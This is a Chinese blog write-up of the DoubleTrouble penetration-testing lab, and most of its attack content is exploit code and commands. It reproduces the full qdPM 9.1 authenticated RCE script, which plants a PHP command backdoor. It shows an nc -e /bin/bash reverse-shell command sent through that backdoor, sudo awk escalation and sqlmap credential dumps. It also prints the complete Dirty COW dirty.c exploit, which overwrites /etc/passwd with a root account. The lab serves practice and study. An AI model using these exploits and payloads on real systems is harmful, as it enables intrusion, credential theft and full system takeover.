标签：shell 10.4 -- 双重 doubletrouble char user php 麻烦

doubletrouble 双重麻烦

一 信息收集

IP扫描

端口扫描

80

目录扫描

访问 uploads

访问 secret 发现图片

下载 图片

安装工具

谷歌网址

https://github.com/RickdeJager/stegseek/releases

解压字典

解析图片

查看 output 得到 邮箱 和 密码

登录 80 网页

二 漏洞利用

1 上传反弹shell木马获取用户shell

修改个人信息这里 可以上传文件

生成shell (https://www.revshells.com/) 的 PHP pentestmonkey
ip改为 kali 的ip 端口改为shell反弹的端口

保存到文件

上传报错

查看http://10.4.7.146/uploads/users/ 上传成功

kali 开启监听 浏览器点击shell

切换到shell

python -c 'importpty;pty.spawn("/bin/bash")'

2 通过qdPM9.1中间键漏洞获取用户shell

searchsploit -u     #更新漏洞库
searchsploit qdpm     #查找有关qdpm有关的漏洞

searchsploit -m 47954.py
searchsploit -m 50175.py

vim 47954 是用Python2.7来写的，在执行的时候后面跟url、邮箱地址和密码，分别使用参数-url、-u、-p，邮箱地址和密码应该就是图片中破解出来的信息

vim 50175是用python3写的，且这个脚本是基于47954.py编写的，命令执行格式应该跟47954.py差不多

set nu 序号显示

59 行 取消换行

71 行 代码没有结束

生成一个后门
可以拿走用，不确定复制粘贴后是不是正确的

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution

#!/usr/bin/python3

import sys
import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'.htaccess')
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_1)
    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'../.htaccess')
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    url = HOSTNAME + '/index.php/login'
    result = session_requests.get(url)
    #print(result.text)
    login_tree = html.fromstring(result.text)
    authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login',
data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
    # The designated admin account does not have a myAccount page
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')


if __name__ == '__main__':
    print("You are not able to use the designated admin account becauseetthey do not have a myAccount page.\n")
    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
    parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
    parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password', help='User password')
    args = parser.parse_args()
    # Added detection if the arguments are passed and populated, if not display the arguments
    if  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
            main(args.hostname, args.email, args.password)
    else:
        parser.print_help()

python3 50175.py -url http://10.4.7.146/ -u [email protected] -p otis666

http://10.4.7.146//uploads/users/?cmd=whoami

在 http://10.4.7.146//uploads/users/224899-backdoor.php 后面加 ？ cmd=id

http://10.4.7.146//uploads/users/224899-backdoor.php?cmd=pwd 文件路径

http://10.4.7.146//uploads/users/224899-backdoor.php?cmd=nc -e /bin/bash 10.4.7.139 1234

反弹成功

python -c 'importpty;pty.spawn("/bin/bash")'

使用Python切换到bash这个shell中

三提权

sudo -l

这个文件显示可以不用密码操作，对他进行提权

提权

sudo awk 'BEGIN {system("/bin/bash")}'

ls 看下 发现第二个靶机

cp doubletrouble.ova /var/www/html/uploads

将该靶机复制到网站根目录的uploads目录中，然后下载到本地

在网站根目录的uploads目录中点击下载
或者用命令下载

一 信息收集

IP扫描

端口扫描

80

使用sqlmap进行扫描，发现存在时间盲注

sqlmap -u "http://10.4.7.151/index.php" --forms --batch

sql

爆 数据库

sqlmap -u "http://10.4.7.151/index.php" --forms --batch --current-db

当前数据库为doubletrouble

爆 表

sqlmap -u "http://10.4.7.151/index.php" --forms --batch -D doubletrouble --tables

爆 列

sqlmap -u "http://10.4.7.151/index.php" --forms --batch -D doubletrouble -T users --columns

爆 字段

sqlmap -u "http://10.4.7.151/index.php" --forms --batch -D doubletrouble -T users -C username,password --dump

爆出 账号密码

montreux GfsZxc1
clapton ZubZub99

使用从数据库中获得的这两个用户名和密码进行80端口登陆和22端口ssh登陆尝试
80端口：两个用户都无法登陆
22端口：montreux用户不能进行ssh远程登录,但clapton用户可以
登陆clapton用户，成功获取到clapton用户的shell

二 提权

查看 系统内核发现系统的内核版本是linux3.2，该系统版本具有一个很明显的漏洞--脏牛漏洞

在kali漏洞库里查找符合条件的POC

searchsploit linux 3.2

searchsploit -m 40616.c 下载

在clapton的shell中启动nc接收

nc -lvnp 10086 > 40616.c

在kali中使用nc上传40616.c

nc 10.4.7.151 10086 < 40616.c -w 1  

找到 flag

6CEA7A737C7C651F6DA7669109B5FB52

没用

发现40616.c还没有执行权限，先给它赋予执行权限，然后再使用gcc生成可执行程序

拿到管理员

拿到最后一个flag

其实，脏牛漏洞提权的POC还有很多，很多人会使用这个dirty.c来创建管理员账户进行管理员登录，从而获得管理员shell

使用dirty.c提权

创建

代码

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw;
 
  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }
 
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

在clapton的shell中启动nc接收

nc -lvnp  > 40616.c

在kali中使用nc上传40616.c

nc 10.4.7.151 8888 < 40616.c -w 1  

赋权

gcc连接，然后执行POC，需要注意的是，这里在执行POC后面可以接密码，即重新创建一个用户firefart,该用户具有管理员权限
此外，gcc连接需要使用如下命令

gcc -pthread dirty.c -o dirty -lcrypt

root为firefart用户密码

使用ssh登陆firefart用户，再次成功拿到管理员权限

标签：shell,10.4,--,双重,doubletrouble,char,user,php,麻烦
From： https://www.cnblogs.com/eagle9/p/18039880